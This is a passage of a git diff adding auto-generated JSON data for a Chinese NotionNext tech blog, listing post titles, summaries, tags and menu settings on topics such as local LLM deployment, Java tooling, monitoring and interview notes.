4343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\344\270\207\351\207\214\351\225\277\345\276\201.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\344\270\207\351\207\214\351\225\277\345\276\201.json" new file mode 100644 index 000000000..398877679 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\344\270\207\351\207\214\351\225\277\345\276\201.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1